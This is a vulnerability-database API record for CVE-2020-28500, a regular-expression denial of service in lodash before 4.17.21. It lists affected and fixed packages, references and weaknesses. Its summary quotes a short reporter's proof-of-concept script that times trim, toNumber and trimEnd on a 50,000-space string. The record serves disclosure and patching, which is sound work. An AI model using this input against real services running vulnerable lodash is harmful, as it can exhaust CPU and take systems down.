Lookup for vulnerabilities affecting packages.

GET /api/vulnerabilities/41978?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/vulnerabilities/41978?format=api",
    "vulnerability_id": "VCID-aecq-1mad-n7h1",
    "summary": "Regular Expression Denial of Service (ReDoS) in lodash\nAll versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions.\n\nSteps to reproduce (provided by reporter Liyuan Chen):\n```js\nvar lo = require('lodash');\n\nfunction build_blank(n) {\nvar ret = \"1\"\nfor (var i = 0; i < n; i++) {\nret += \" \"\n}\nreturn ret + \"1\";\n}\nvar s = build_blank(50000) var time0 = Date.now();\nlo.trim(s)\nvar time_cost0 = Date.now() - time0;\nconsole.log(\"time_cost0: \" + time_cost0);\nvar time1 = Date.now();\nlo.toNumber(s) var time_cost1 = Date.now() - time1;\nconsole.log(\"time_cost1: \" + time_cost1);\nvar time2 = Date.now();\nlo.trimEnd(s);\nvar time_cost2 = Date.now() - time2;\nconsole.log(\"time_cost2: \" + time_cost2);\n```",
    "aliases": [
        {
            "alias": "CVE-2020-28500"
        },
        {
            "alias": "GHSA-29mw-wpgm-hmr9"
        }
    ],
    "fixed_packages": [
        {
            "url": "http://public2.vulnerablecode.io/api/packages/60011?format=api",
            "purl": "pkg:gem/lodash-rails@4.17.21",
            "is_vulnerable": false,
            "affected_by_vulnerabilities": [],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/lodash-rails@4.17.21"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/60055?format=api",
            "purl": "pkg:npm/lodash@4.17.21",
            "is_vulnerable": false,
            "affected_by_vulnerabilities": [],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/lodash@4.17.21"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/60058?format=api",
            "purl": "pkg:npm/lodash-es@4.17.21",
            "is_vulnerable": false,
            "affected_by_vulnerabilities": [],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/lodash-es@4.17.21"
        }
    ],
    "affected_packages": [
        {
            "url": "http://public2.vulnerablecode.io/api/packages/60010?format=api",
            "purl": "pkg:gem/lodash-rails@4.0.0",
            "is_vulnerable": true,
            "affected_by_vulnerabilities": [
                {
                    "vulnerability": "VCID-aecq-1mad-n7h1"
                }
            ],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/lodash-rails@4.0.0"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/60054?format=api",
            "purl": "pkg:npm/lodash@4.0.0",
            "is_vulnerable": true,
            "affected_by_vulnerabilities": [
                {
                    "vulnerability": "VCID-4up5-csax-tuax"
                },
                {
                    "vulnerability": "VCID-aecq-1mad-n7h1"
                }
            ],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/lodash@4.0.0"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/60057?format=api",
            "purl": "pkg:npm/lodash-es@4.0.0",
            "is_vulnerable": true,
            "affected_by_vulnerabilities": [
                {
                    "vulnerability": "VCID-4up5-csax-tuax"
                },
                {
                    "vulnerability": "VCID-aecq-1mad-n7h1"
                }
            ],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/lodash-es@4.0.0"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/60047?format=api",
            "purl": "pkg:npm/lodash.trim@4.0.0",
            "is_vulnerable": true,
            "affected_by_vulnerabilities": [
                {
                    "vulnerability": "VCID-aecq-1mad-n7h1"
                }
            ],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/lodash.trim@4.0.0"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/60048?format=api",
            "purl": "pkg:npm/lodash.trim@4.5.1",
            "is_vulnerable": true,
            "affected_by_vulnerabilities": [
                {
                    "vulnerability": "VCID-aecq-1mad-n7h1"
                }
            ],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/lodash.trim@4.5.1"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/60019?format=api",
            "purl": "pkg:npm/lodash.trimend@4.0.0",
            "is_vulnerable": true,
            "affected_by_vulnerabilities": [
                {
                    "vulnerability": "VCID-aecq-1mad-n7h1"
                }
            ],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/lodash.trimend@4.0.0"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/60020?format=api",
            "purl": "pkg:npm/lodash.trimend@4.5.1",
            "is_vulnerable": true,
            "affected_by_vulnerabilities": [
                {
                    "vulnerability": "VCID-aecq-1mad-n7h1"
                }
            ],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/lodash.trimend@4.5.1"
        }
    ],
    "references": [
        {
            "reference_url": "https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf"
        },
        {
            "reference_url": "https://github.com/github/advisory-database/pull/6139",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/github/advisory-database/pull/6139"
        },
        {
            "reference_url": "https://github.com/lodash/lodash",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/lodash/lodash"
        },
        {
            "reference_url": "https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8"
        },
        {
            "reference_url": "https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a"
        },
        {
            "reference_url": "https://github.com/lodash/lodash/pull/5065",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/lodash/lodash/pull/5065"
        },
        {
            "reference_url": "https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7"
        },
        {
            "reference_url": "https://security.netapp.com/advisory/ntap-20210312-0006",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://security.netapp.com/advisory/ntap-20210312-0006"
        },
        {
            "reference_url": "https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896"
        },
        {
            "reference_url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894"
        },
        {
            "reference_url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892"
        },
        {
            "reference_url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895"
        },
        {
            "reference_url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893"
        },
        {
            "reference_url": "https://snyk.io/vuln/SNYK-JS-LODASH-1018905",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://snyk.io/vuln/SNYK-JS-LODASH-1018905"
        },
        {
            "reference_url": "https://www.oracle.com/security-alerts/cpujan2022.html",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
        },
        {
            "reference_url": "https://www.oracle.com//security-alerts/cpujul2021.html",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
        },
        {
            "reference_url": "https://www.oracle.com/security-alerts/cpujul2022.html",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
        },
        {
            "reference_url": "https://www.oracle.com/security-alerts/cpuoct2021.html",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
        },
        {
            "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28500",
            "reference_id": "CVE-2020-28500",
            "reference_type": "",
            "scores": [],
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28500"
        },
        {
            "reference_url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2020-28500.yml",
            "reference_id": "CVE-2020-28500.YML",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2020-28500.yml"
        },
        {
            "reference_url": "https://github.com/advisories/GHSA-29mw-wpgm-hmr9",
            "reference_id": "GHSA-29mw-wpgm-hmr9",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/advisories/GHSA-29mw-wpgm-hmr9"
        }
    ],
    "weaknesses": [
        {
            "cwe_id": 1333,
            "name": "Inefficient Regular Expression Complexity",
            "description": "The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles."
        },
        {
            "cwe_id": 400,
            "name": "Uncontrolled Resource Consumption",
            "description": "The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources."
        },
        {
            "cwe_id": 937,
            "name": "OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities",
            "description": "Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013."
        },
        {
            "cwe_id": 1035,
            "name": "OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities",
            "description": "Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017."
        }
    ],
    "exploits": [],
    "severity_range_score": null,
    "exploitability": null,
    "weighted_severity": null,
    "risk_score": null,
    "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-aecq-1mad-n7h1"
}